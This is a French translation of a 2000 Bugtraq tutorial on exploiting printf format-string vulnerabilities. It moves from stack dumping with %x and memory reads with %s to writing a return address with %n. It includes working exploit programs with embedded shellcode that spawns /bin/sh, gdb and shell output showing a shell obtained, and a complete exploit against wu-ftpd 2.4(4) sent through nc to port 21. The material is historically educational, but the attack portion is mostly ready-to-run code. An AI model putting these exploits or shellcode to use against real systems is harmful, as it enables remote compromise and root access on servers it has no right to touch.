Kalou/Pascal Bouchareine pb@hert.org
Première publication dans Bugtraq, Mardi 18 Juillet 2000
Source : http://www.hert.org/papers/format.html
Translation by eberkut
- http://www.chez.com/keep
Dimanche 24 Décembre 2000
Introduction
Cet article tente d'expliquer comment exploiter un bug de format printf(userinput), rapporté dans quelques récentes alertes. L'approche est primaire, et plus précisément ne tient compte d'aucun exploit existant (wu-ftpd...). Une connaissance général de la programmation C et assembleur est recommandée pour cette article (stack issues, registres, mémoire endian).
PlaygroundCommençons par une expérimentation. Jetez un oeil au code suivant :
void main()
{
char tmp[512];
char buf[512];
while(1)
{
memset(buf, '\0', 512);
read(0, buf, 512);
sprintf(tmp, buf);
printf("%s", tmp);
}
}
Il assigne une stack pour tmp et buf (buf
possédant une adresse inférieure sur la stack), lit les entrées de
l'utilisateur dans buf, appelle sprintf pour remplir tmp puis l'affiche.
Essayons le :
[pb@camel][formats]> ./t
foo-bar
foo-bar
%x %x %x %x
25207825 78252078 a782520 0
Les coders maladroits sont habitués à voir ce
genre de choses, mais regardons ce qui s'est exactement passé.
Quand sprintf rencontre un string de conversion, il prend simplement le premier
word push (32 bits, 4 octets sur Intel) sur la stack et dans le cas du
convertisseur "%x", le copie à l'écran en hexadécimal.
Si les arguments sont explicitement donnés, cela fonctionne bien, mais s'ils
sont manquants et supposant que la stack de sprintf est vide, la fonction écrit
directement sur la stack de l'appelant, à condition que la stack augmente par
le bas (architecture Intel dans l'exemple exemple).
Pour plus de détails, observons ce 2ème exemple :
[pb@camel][formats]> gdb ./t
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i686-pc-linux-gnu".
(gdb) break sprintf
Breakpoint 1 at 0x80481f3
(gdb) run
Starting program: /usr/home/pb/code/format/./t
%x
Breakpoint 1, 0x80481f3 in _IO_sprintf ()
(gdb) x/20x $esp
0xbffff670: 0xbffffa80
0x080481af
0xbffff880 0xbffff680
0xbffff680: 0x000a7825
0x00000000
0x00000000 0x00000000
0xbffff690: 0x00000000
0x00000000
0x00000000 0x00000000
0x000a7825 (little endian : %x\n).Regardons le premier exemple encore une fois :
[pb@camel][formats]> ./t %x %x %x %x 25207825 78252078 a782520 0Le convertisseur %x écrit sprintf sur une partie de la stack où vous avez :
"\x25\x78\x20\x25....\x78\x0a\x00\x00\x00\x00"C'est le contenu de buf[]
,
avec les octets 0 de terminaison (un word dans ce cas). Étudions-le plus en
détail, ajoutons une fonction appelée do_it, avec une stack de 4 octets de
0x04030201, et voyons ce qui se passe lorsque sprintf(dst, "%x")
l'appelle :
Naturellement, on s'attend à ce que le sprintf frappe le word buf[] de do_it(), en utilisant %#010 comme convertisseur de format :
[pb@camel][formats]> ./t
%#010x
0x04030201
[pb@camel][formats]> ./t
%#010x %x %x %x
0x04030201 bffffa00 bffffac0 80485af
(gdb) bt
#0 0x8048526 in do_it ()
#1 0x80485af in main ()
(gdb) x/2x $ebp
0xbffff6b0: 0xbffffac0
0x080485af
Dans cet exemple, vous pouvez facilement deviner à distance l'emplacement d'une adresse de retour (main, par exemple) pour overwriter ET l'adresse du eggshell (si il y'a) : ceci en ajoutant 0x04 au $ebp sauvegardé du visiteur (le deuxième élément de cette ($ebp, ret) paire est à 0xbffffac0 + 0x04 le == 0xbffffac4) :
(gdb) x 0xbffffac4
0xbffffac4: 0x080484be
(gdb) bt
#0 0x8048526 in do_it ()
#1 0x80485af in main ()
#2 0x80484be in
___crt_dummy__ ()
Ainsi l'adresse de retour de la force (# 2) est dans le ___crt_dummy__i pour l'instant, mais peut être changée ce que vous voulez si vous parvenez overwriter le contenu de 0xbffffac4...
Et pour l'adresse de eggshell, il y a beaucoup de manières de deviner. La plus simple est de trouver l'adresse de buf[], qui est [ bas de la stack principale stack ] - 0x200 + quelques informations assignées par la stack :
(gdb) break memset
Breakpoint 1 at 0x8048408
(gdb) c
Continuing.
%#010x %x %x %x
0x04030201 bffffa00 bffffa20 80485af
Breakpoint 1, 0x40078428 in memset ()
(gdb) printf "%s\n", 0xbffffa00 - 0x200 + 0x20
%#010x %x %x %x
Bien que ceci dépende entièrement du programme que vous exploitez, vous pouvez voir que les méthodes pour trouver une adresse de retour à affichage de stack et un eggshell exécutable de stack sont très faciles.
Cependant, la meilleure façon de deviner l'architecture de stack à distance, quand on n'a aucun accès au processus courant, est de "manger" la stack avec beaucoup de "%x" ou des convertisseurs de format de x"%x"x ou de x"%...s"x jusqu' à trouver [ adresse de stack, adresse de segment de code ] est et vider la chaîne de caractères d'entrée utilisateur elle-même.
En mangeant l'espace de la stack avec le convertisseur de format "ordure" jusqu'à ce que le début du string d'entrée soit trouvé, c'est une bonne méthode pour contrôler ce qui se passe ensuite : vous avez maintenant des arguments contrôlables "% *" convertisseurs de format, et c'est vraiment vraiment très maniable. Regardez ceci (en utilisant le premier exemple) :
[pb@camel][formats]> ./t
AAAA%x
AAAA41414141
Souvenez vous, la stack est vide. Le convertisseur %x de sprintf marque le début du buffer d'entrée comme arg-list des format strings.
Il y'a beaucoup de manière de "jouer" avec ceci.
Ce dispositif "laissez-moi contrôler la stack" est votre ami tout comme le gdb l'est. Vous pouvez vider la totalité de la stack, adresses de stack de conjecture, et même y écrire (comme expliqué plus tard en utilisant le convertisseur %n).
Regardons cet exemple :
static char find_me[] = "..Buffer was
lost in memory\n";
main()
{
char buf[512];
char tmp[512];
while(1)
{
memset(buf, '\0', 512);
read(0, buf, 512);
sprintf(tmp ,buf);
sprintf(tmp ,buf);
printf("%s", tmp);
}
}
Le but est d'imprimer le string find_me[]. Dans cet exemple simple, vous ne devez pas rechercher (par les convertisseurs factices de %x) de combien d'octets de stack vous avez besoin de "manger" avant que vous frappiez le buffer d'entrée : c'est la première chose (l'exemple avec "AAAA%x" l'a montré tout à fait clairement). Ainsi fondamentalement vous devez juste émettre le "pseudo string" suivante pour afficher le buffer :
[4 bytes address of find_me]%s
Oui ! C'est aussi simple : dans ce cas-ci, le buffer d'entrée est le format string ET l'argument du format string. :)
Il ne nous reste plus qu'à le faire :[pb@camel][formats]> printf
"\x02\x96\x04\x08%s\n" | ./v
(garbage)Buffer was lost in memory
Les ordures sont le début du format string. Ainsi, vous pouvez vider n'importe quelle partie de mémoire dont avez besoin. Ce qui était vrai avec les remote buffer overflows n'est l'est plus : vous n'avez plus besoin de rechercher l'adresse de retour. Vous n'avez rien besoin de deviner, puisque vous pouvez examiner la mémoire pour la trouver. (euh, c'est vrai avec des sorties printf(), mais pas quand vous ne pouvez pas voir ce que l'entrée a produit. Voir le setproctitle() par exemple.)
Voici alors la seconde (et la plus amusante) partie.
Écrire dans la mémoire
Tout ceci ne serati pas drôle si nous n'avions pas le convertisseur de format %n. Celui-ci prend un argument (int*), et affiche le nombre d'octets écrit jusqu'ici à cet emplacement.
Essayons ceci (avec le proggy très simple AAAA%x encore) :[pb@camel][formats]> printf
"\x70\xf7\xff\xbf%%n\n" > file
[pb@camel][formats]> gdb ./t
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i686-pc-linux-gnu".
(no debugging symbols found)...
(gdb) set args < file
(gdb) break main
Breakpoint 1 at 0x8048529
(gdb) run
Starting program: /usr/home/pb/code/format/./t < file
(no debugging symbols found)...
Breakpoint 1, 0x8048529 in main ()
(gdb) watch *0xbffff770
Hardware watchpoint 2: *3221223280
(gdb) c
Continuing.
Hardware watchpoint 2: *3221223280
Old value = 0
New value = 4
0x400323f3 in vfprintf ()
(gdb) x 0xbffff770
0xbffff770: 0x00000004
Cette fois, 4 octets encodés dans le format string (une adresse) sont écrit et le convertisseur %n fait un enregistrement sprintf là où ç'a été dit (c-a-d 0xbffff770.
Approfondissons un petit peu. Cette fois-ci, le fichier généré ressemble à ceci :printf "\x70\xf7\xff\xbf\x71\xf7\xff\xbf%%n%%n" > file
Après 2 coups de watchpoint, vous avez à 0xbffff770 :(gdb) x 0xbffff770
0xbffff770: 0x00000808
Sprintf a écrit 8 octets (2 adresses), and %n les a enregistré à 0xbffff770 et 0xbffff771.
Maintenant, supposez que vous avez un eggshell à 0xbffff710, et l'adresse de retour devinée se trouve à 0xbffffa80. Vous ne pouvez pas vous permettre d'écrire les octets 0xbffff710 dans le buffer pour faire le sprintf (par le convertisseur "%n"), écrivez cette valeur sur la stack. Rappelez-vous que les gens ont généralement peur des buffer overflows et désactivent donc leur buffers d'entrée :)
Mais vous pouvez employer une construction byte-per-byte pour établir l'adresse. Puisque %n écrit le nombre d'octets écrit jusqu'ici sur la stack par sprintf, vous avez besoin de soustraire le nombre d'octets déjà écrit pour chaque fragment suivant.
Puisque int * effacerait les octets déjà écrits, vous devez écrire l'adresse de l'octet significatif inférieur à l'octet significatif plus élevé.
Puisque vous devez avoir écrit les octets 0xff avant que vous puissiez écrire l'octet 0xbf, et d'ailleurs, vous pouvez seulement incrémenter le compteur de nombre-d'octets-écris interne, vous devez utiliser 0x1bf, effaçant un octet sans signification sur la stack.
Notez que vous pourriez utiliser le convertisseur "%hn", et faire écrire par srpintf des arguments int short à la stack. Mais ceci ne sera pas expliqué ici.
Voici le code de l'"adress builder" expliqué jusqu'ici :main()
{
char b1[255];
char b2[255];
char b3[255];
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b1, '\x90', 0xf7 - 0x10);
memset(b2, '\x90', 0xff - 0xf7);
memset(b3, '\x90', 0x01bf - 0xff);
printf("\x80\xfa\xff\xbf" // arguments pour le convertisseur
"%n"
"\x81\xfa\xff\xbf" //
idem
"\x82\xfa\xff\xbf" //
...
"\x83\xfa\xff\xbf" //
dernier octet.
"%%n" //
1) donne 0x10 ( 16 premiers octets )
"%s%%n" // 2) donne
0xf7: longueur de string = 0xf7 - 0x10
"%s%%n" // 3) donne
0xff: longueur de string = 0xff - 0xf7
"%s%%n" // 4) donne
0x01bf: longueur de string = 0x01bf - 0xff
,b1, b2, b3);
// vous avez maintenant 0xbffff710 à 0xbffffa80
}
(after 3 hits on watchpoint)
(gdb) c
Continuing.
Hardware watchpoint 3: *3221224064
Old value = 16774928
New value = -1073744112
0x400323f3 in vfprintf ()
(gdb) x/2 0xbffffa80
0xbffffa80: 0xbffff710
0xbf000001
Ca semble marcher correctement. Le travail est presque terminé maintenant, vous devez juste pusher un eggshell après tout ces tours de format, et faites le jump du programme en arrière. Essayons d'appliquer tout ce qui a été dit avant, avec le programme vulnérable suivant :
Exemple annexevoid do_it(char *dst, char *src)
{
int foo;
char bar;
sprintf(dst, src);
}
main()
{
char buf[512];
char tmp[512];
memset(buf, '\0', 512);
read(0, buf, 512);
do_it(tmp, buf);
printf("%s",
tmp);
}
[pb@camel][formats]> gcc vuln.c -o v [pb@camel][formats]> ./v AAAA %x %c %x AAAA 0 À bffffac0 (int foo, char bar, stack) ... AAAA %x %x %x %x %x %x %x %x %x AAAA 0 bffffac0 bffffac0 804859f bffff6c0 bffff8c0 41414141 62203020 66666666 (the *output* buffer is at offset 28)
Regardez la rame de stack, si elle est (stack addr, code addr) paire : l'adresse de retour principale est 0x0804859f, l'ebp sauvegardé par la stack principale et l'adresse de retour commencent à 0xbffffac0.
Vous savez maintenant que l'adresse de retour principale est à 0xbffffac4 (la seconde partie de la paire [stack, code] est bien sur à paire + 4).
Vous obtenez alors quelques informations sur l'adresse de retour principale :
printf
"AAAA\xc0\xfa\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \
| hexdump
0000000 4141 4141 fac0 bfff 6230 6666 6666 6361
0000010 6230 6666 6666 6361 3830 3430 3538 3838
0000020 6662 6666 3666 3063 6662 6666 3866 3063
0000030 3134 3134 3134 3134 7720 2065 7274 2079
0000040 fad4 bfff 84be 0804 0a01 000a
Supposer la trame de do_it est quelque chose comme les octets 0x400 avant trame principale, (en fait, ce sont les octets 0x410), vous pouvez trouver l'adresse de trame de stack de do_it, puisque vous savez qu'il doit y avoir le pointeur dela trame principale sauvegardé suivis d'une adresse de retour de segment de code, alors par la stack principale :
Après beaucoup d'essais vous obtenez :printf
"AAAA\xb0\xf6\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \
| hexdump
0000000 4141 4141 f6b0 bfff 6230 6666 6666 6361
0000010 6230 6666 6666 6361 3830 3430 3538 3838
0000020 6662 6666 3666 3063 6662 6666 3866 3063
0000030 3134 3134 3134 3134 7720 2065 7274 2079
0000040 fac0 bfff 8588 0804 f6c0 bfff f8c0 bfff
0000050 4141 4141 f6b0 bfff 6230 6666 6666 6361
0000060 6230 6666 6666 6361 3830 3430 3538 3838
0000070 6662 6666 3666 3063 6662 6666 3866 3063
0000080 3134 3134 3134 3134 7720 2065 7274 2079
0000090 0a0a
(ça affiche "..we try [ contenu de 0xbffff6b0 ]) Bingo ! Là vous avez (we try .. is just before offset 0x40)
0xbffffac0,0x08048588 à 0xbffff6b0.
Vous vous souvenez des adresses paires (stack, code) ? C'est en fait la trame de la stack de do_it.
Vous pouvez voir des args de sprintf juste après : 0xbffff6c0 et 0xbffff8c0. Ce sont les adresses de 2 buffers. 0x41414141 est le début du buffer d'entrée, ainsi vous pouvez voir que l'offset de hexdump 0x50 est à l'adresse 0xbffff6c0, et puisque vous êtes doué en math, vous confirmez que le offset 0x40 de hexdump est en effet à 0xbffff6b0.
Ce processus vous laisse deviner à distance :Vous avez toutes les informations dont vous avez besoin sur le format de la stack, donc passons à l'étape suivante : construire l'eggshell et le buffer approprié.
Le buffer se trouvera 0xbffff8c0. MAIS, puisqu'il est rempli d'un bon nombre d'instructions illégales (c.-à-d. les convertisseurs de format), le xstringx "\x90" doit terminer avec un "\xeb\x02" à jumper par-dessus les convertisseurs de format "%n", donc, vous n'avez pas besoin de vous inquiéter de l'adresse effective de l'egg.
Donc,Tout ce que vous devez faire c'est pusher 4 adresses (une adresse par octet de l'adresse de retour à recouvrir), une série de convertisseurs "%x" "mange" l'espace de la stack, puis une série de nops suivis d'un convertisseur "%n" (afin d'établir l'adresse de retour) et quelque part le eggshell.
Ce n'est pas la partie la plus simple, un petit stimulant pour le cerveau (café, cocaïne, coca-col(tm), ce que vous voulez) mène à :
void main()
{
char b1[255];
char b2[255];
char b3[255];
char b4[255];
char xx[600];
int i;
char egg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
// ( (void (*)()) egg)();
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(xx, 0, 513);
for (i = 0; i < 12 ; i += 2) { /* installez les 6 "%x" pour
manger l'espace de stack */
strcpy(&xx[i], "%x");
}
memset(b1, '\x90', 0xd0 - 16 - 12 - 2 - 28);
// 16 (4 adresses)
// 2 (%n)
// 40 (%x output - "devinez-le..")
// utilisez les formats sympas pour la
// taille fixe de sortie... :)
// + 200- (4 octets)
memset(b2, '\x90', 0xf8 - 0xd0 - 2); // le premier string 0x90 est
à
// 0xbffff8d0.. (c0 + 4 * 4 octets) :)
// -2 en raison de "\xeb\x02"
memset(b3, '\x90', 0xff - 0xf8 - 2); // idem, avec -2.
memset(b4, '\x90', 0x01bf - 0xff - 2); // idem.
printf("\xb4\xf6\xff\xbf" //
"\xb5\xf6\xff\xbf" // ceci pointe vers le do_it
"\xb6\xf6\xff\xbf" // word mémoire de retour d'adresse.
"\xb7\xf6\xff\xbf" //
"%s" // 0) il y a 6 "%x", pour manger la
stack jusqu'au buf d'entrée
// commence à contrôler les format strings.
"%s\xeb\x02%%n" // 1) donne 0xd0 (4 * 4 octets ajoutés,
%x est ignoré )
"%s\xeb\x02%%n" // 2) donne 0xf9
"%s\xeb\x02%%n" // 3) donne 0xff
"%s\xeb\x02%%n%s" //
4) donne 0x01bf
, xx, b1, b2, b3, b4,
egg);
}
[pb@camel][formats]> ( ./b ; cat ) | ./v
id
uid=1001(pb) gid=100(users) groups=100(users)
date
Sat Jul 15 22:15:07 CEST 2000
Conclusion
Ces bugs de format sont vraiment dangereuses. D'abord, si vous pouvez lire la sortie du buffer final (par exemple printf(Userinput)), vous avez évidemment le contrôle du traitement de l'ordinateur. Vous avez une sorte d'accès/debugger à distance, qui vous permet d'entrer du premier coup. C'est une mauvaise nouvelle pour les développeurs. (le format bug de wu-ftpd placé entre des mains averties permet l'accès root à distance en un essai...).
Les manipulations autour du format de args et des pointeurs nous permet de construire une sorte de format string générique qui va certainement overwriter l'adresse de retour de l'appelant. Ceci doit être couplé à une conjecture à distance d'adresse de retour pour fonctionner correctement, mais offre au moins la même proportion de chance que des remote buffer overruns. Même si vous ne voyez pas ce que vous (setproctitle), c'est toujours une méthode facile de pénétrer.
Poubelle & Remerciements
C'est ce que j'ai réalisé contre mon vieux wu-ftpd [wu-2.4(4)] en utilisant la technique ci-dessus. Ca a fonctionné, mais j'ai limité mon format string d'entrée à 512 octets : j'ai inclus le eggshell dans une autre partie de la mémoire, en utilisant la commande PASS. Cette adresse est très facile à deviner.
Exemple annexe - partie 2 : wu-ftpd v2.4(4), exploitation
/*
* Exemple annexe - partie 2: wu-ftpd v2.4(4), exploitation.
*
* usage :
* 1) trouvé le bon emplacement de location/eggshell
* c'est vraiment facile en jouant un peu avec %s
et hexdump
* Puis, fixez cet exploit
*
* 2) (echo "user ftp"; ./exploit; cat) | nc host 21
*
* echo ^[c pour rafraîchir votre écran si
nécessaire.
*
* N'oubliez pas que 0xff doit être "échappé" avec 0xff.
*
*
*/
main()
{
char b1[255];
char b2[255];
char b3[255];
char b4[255];
char xx[600];
int i;
char egg[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80"
"\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
// ( (void (*)()) egg)();
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 0, 255);
memset(xx, 0, 513);
for (i = 0; i < 20 ; i += 2) { /* installez vers le haut des 10 %x
pour manger l'espace de stack */
strcpy(&xx[i], "%x");
}
memset(b1, '\x90', 0xa3 - 0x50);
memset(b2, '\x90', 0xfe - 0xa3 - 2);
memset(b3, '\x90', 0xff - 0xfe);
memset(b4, '\x90', 0x01bf - 0xff); // construisez
l'adresse de retour ici
// j'ai trouvé 0xbffffea3
printf("pass %s@oonanism.com\n", egg);
printf("site exec .."
"\x64\xf9\xff\xff\xbf" // insérez l'adresse de retour ici
"\x65\xf9\xff\xff\xbf" // j'avais 0xbffff964
"\x66\xf9\xff\xff\xbf"
"\x67\xf9\xff\xff\xbf"
"%s"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s%%n"
"%s%%n\n"
, xx, b1, b2, b3, b4);
}